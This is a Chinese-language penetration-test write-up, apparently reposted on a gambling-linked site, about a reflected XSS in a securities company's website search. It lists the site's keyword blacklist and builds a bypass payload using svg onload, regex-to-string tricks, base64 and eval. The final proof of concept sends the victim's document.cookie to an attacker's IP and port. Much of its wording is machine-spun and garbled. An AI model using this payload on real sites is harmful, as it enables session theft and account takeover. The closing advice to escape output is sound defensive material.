欢迎访问Sunbet,Sunbet是欧博Allbet的官方网站!

首页Sunbet_安全防护正文

某证券团体网站一处反射型XSS绕过与应用

b9e08c31ae1faa592019-02-0932


对某证券团体网站举行渗入测试时,在反射型XSS多发区——搜刮处举行检测。

- 回显点确认

搜刮恣意字符串,搜检元素:
某证券团体网站一处反射型XSS绕过与应用  第1张
那就直接闭合DIV尝尝:

某证券团体网站一处反射型XSS绕过与应用  第2张
闭合胜利,但注意到依然搜刮到两篇文章。预测有无害性检测,用了自定义的黑名单。

- 黑名单排查

检测语句:
?keyword=</div><script>alert(1)</script><div>
检测效果:不经由过程,直接不返回HTTP相应包。

某证券团体网站一处反射型XSS绕过与应用  第3张

后经一一排查,script与alert两单词均在黑名单(大小写无关)

检测语句:?keyword=<img/src="site"%2bdocument.cookie>
检测效果:document、单双引号均在黑名单(效果均为无相应包,就不反复贴图了)

检测语句:?keyword=<img/onerror=String.fromCharCode(97,108,101,114,116,40,49,41)>
检测效果:经一一排查,string,fromCharCode,onerror均在黑名单

经由别的测试,黑名单大抵为:window,cookie,script,alert,document,confirm,string,fromcharcode,onerror,单双引号,加号,分号。

-------------------------------------

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

-------------------------------------

- 寻觅突破点

起首,我们须要找到一个正当元素,它能实行一行或多行JS语句。由于img元素诸属性受黑名单限定或间接限定,因而选用<svg/onload>实行JS。
其次,由于没有单双引号和分号,onload属性背面只能接一个函数才能让HTML一般剖析。两个函数以上是不可的(比方空格或许&&之类的写法,会致使svg直接不被衬着),经由测试eval不在黑名单中,可用于实行特定组织语句。
末了的难点就是组织字符串工具了。能够看到,由于单双引号、String直接被黑名单了,我们无论是用于eval的代码串或许用于反弹cookie的VPS地点都须要字符串工具。在这里须要一个不消引号或许string来取得可控字符串实例的要领。

正束手无策的时刻,想起了JS的正则表达式工具。

某证券团体网站一处反射型XSS绕过与应用  第4张

能够看到,/XSS/自身并非字符串工具,然则toString()后是“/XSS/”,不外String是黑名单。那就须要一些字符串处置惩罚函数了,它能挪用工具的toString要领,最好有设施复原字符串。因而想到base64:

某证券团体网站一处反射型XSS绕过与应用  第5张

看来达到了目标。经由测试slice、concat没有被过滤(这点也对照主要,由于经由过程这类体式格局取得的字符串头尾均有斜杠,同时加号被过滤须要处理字符串衔接)。如此一来,我们便能够在eval中实行恣意的代码了。

- 组织PoC

PoC:?keyword=%3Csvg/onload=location.href=atob(btoa(/http:/)).slice(1).concat(/IP:PORT/).concat(eval(atob(btoa(/docum/)).slice(1,-1).concat(atob(btoa(/ent.cookie/)).slice(1,-1))))%3E

某证券团体网站一处反射型XSS绕过与应用  第6张

应用胜利

- 总结

由此看来,提防XSS不要依靠黑名单,最幸亏回显出举行转义。
自己也异常菜,这算作一次进修阅历吧。


网友评论